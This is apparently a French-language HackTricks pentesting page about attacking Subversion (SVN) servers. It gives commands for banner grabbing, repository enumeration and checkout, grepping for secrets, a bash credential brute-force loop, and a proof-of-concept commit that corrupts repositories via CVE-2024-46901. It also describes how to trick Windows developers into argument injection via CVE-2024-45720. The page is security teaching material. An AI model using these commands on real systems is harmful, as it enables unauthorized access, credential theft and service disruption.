3690/tcp - Pentesting Subversion (SVN) Serveur
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
Subversion (SVN) est un système de gestion de versions centralisé (licence Apache) utilisé pour le versioning logiciel et le contrôle des révisions.
Port par défaut : 3690/tcp (svnserve). Il peut également être exposé via HTTP/HTTPS via mod_dav_svn et via svn+ssh.
PORT STATE SERVICE
3690/tcp open svnserve Subversion
Banner Grabbing
nc -vn 10.10.10.10 3690
svnserve --version # if shell access is obtained
svn --version # client version leak via error messages
Énumération
# Anonymous / authenticated listing
svn ls svn://10.10.10.203 # list root
svn ls -R svn://10.10.10.203/repo # recursive list
svn info svn://10.10.10.203/repo # repo metadata
svn log svn://10.10.10.203/repo # commit history
svn checkout svn://10.10.10.203/repo # checkout repository
svn up -r 2 # move working copy to revision 2
svn diff -r 1:HEAD svn://10.10.10.203/repo # view changes
# If served over HTTP(S)
svn ls https://10.10.10.10/svn/repo --username guest --password ''
# Extract revision props (often contain build creds, URLs, tokens)
svn propget --revprop -r HEAD svn:log svn://10.10.10.203/repo
Auth & Misconfig Hunting
svnserve.confpeut autoriseranon-access = read(ou même write). Si vous pouvez lister, essayezcheckoutpour récupérer des secrets, des scripts et des CI tokens.- Les dépôts stockent fréquemment pipelines de build, clés de déploiement, et identifiants de base de données dans des fichiers de configuration versionnés. Grep la copie de travail après le checkout :
grep -R "password\|secret\|token" -n .. - Si svn+ssh est activé, les shells utilisateur permettent souvent des commandes
svnserverestreintes ; essayezssh user@host svnserve -tavec des sous-commandes conçues pour contourner les wrappers.
Bruteforcing credentials (svnserve)
sasl authentication (if enabled) and simple password files are protected only by the transport; no lockout by default. Une boucle Bash rapide peut essayer des identifiants:
for u in admin dev ci; do
for p in $(cat /tmp/passlist); do
svn ls --username "$u" --password "$p" svn://10.10.10.203/repo 2>/dev/null && echo "[+] $u:$p" && break
done
done
Vulnérabilités récentes (impact pratique)
mod_dav_svn DoS via control characters (CVE-2024-46901)
- Un utilisateur ayant les droits de commit peut écrire un chemin contenant des caractères de contrôle (p.ex.
\x01,\x7f) qui corrompt le dépôt, entraînant l’échec des checkouts/logs ultérieurs et pouvant provoquer le crash des workersmod_dav_svn. - Affecte Subversion ≤ 1.14.4 lorsqu’il est servi via HTTP(S) (
mod_dav_svn). Corrigé dans 1.14.5. - PoC de commit avec
svnmucc(requiert des identifiants de commit valides) :
# create payload file
printf 'pwn' > /tmp/payload
# commit a path with a control character in its name
svnmucc -m "DoS" put /tmp/payload $'http://10.10.10.10/svn/repo/trunk/bad\x01path.txt'
- Après le commit, les clients normaux peuvent planter ou refuser les mises à jour jusqu’à ce que les admins suppriment manuellement la révision avec
svnadmin dump/filter/load.
Injection d’arguments sur Windows dans le client svn (CVE-2024-45720)
- Sur Windows, l’encodage de caractères “best-fit” dans
svn.exepermet une command-line argument injection lorsqu’il traite des chemins/URLs spécialement conçus non‑ASCII, pouvant conduire à l’exécution arbitraire de programmes. - Affecte Subversion ≤ 1.14.3 uniquement sur Windows ; corrigé dans 1.14.4. Surface d’attaque : phishing d’un développeur pour qu’il lance
svnsur une URL/chemin contrôlé par l’attaquant. - Pentest angle : si vous contrôlez un partage réseau ou un ZIP fourni à un dev Windows, nommez une URL de repo ou un chemin de working-copy contenant des octets best-fit qui se décodent en arguments injectés de type
" & calc.exe & ", puis trompez la victime pour qu’elle exécutesvn statusou une commande similaire sur ce chemin.
Notes pour le workflow d’exploitation
- Vérifier la méthode d’accès :
svn://(svnserve),http(s)://.../svn/(mod_dav_svn), ousvn+ssh://. - Try anonymous read d’abord ; puis spray des creds courants. Si HTTP Basic est utilisé, réutilisez les creds trouvés ailleurs.
- Enumerate hooks :
hooks/pre-commit,post-commitscripts contiennent parfois des plaintext credentials ou des hostnames. - Leverage
svn:externalspour récupérer des chemins supplémentaires depuis d’autres hôtes ; listez-les avecsvn propget svn:externals -R .après le checkout. - Version leaks : les en-têtes de réponse HTTP de
mod_dav_svnmontrent généralement la version de Subversion & Apache ; comparez avec 1.14.5 pour repérer les cibles vulnérables. - Si vous obtenez un accès au filesystem du repo,
svnadmin dump/svnlook author/svnlook dirs-changedpermettent une analyse hors-ligne sans credentials.
References
- Apache Subversion security advisory CVE-2024-46901
- Apache Subversion security advisory CVE-2024-45720
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


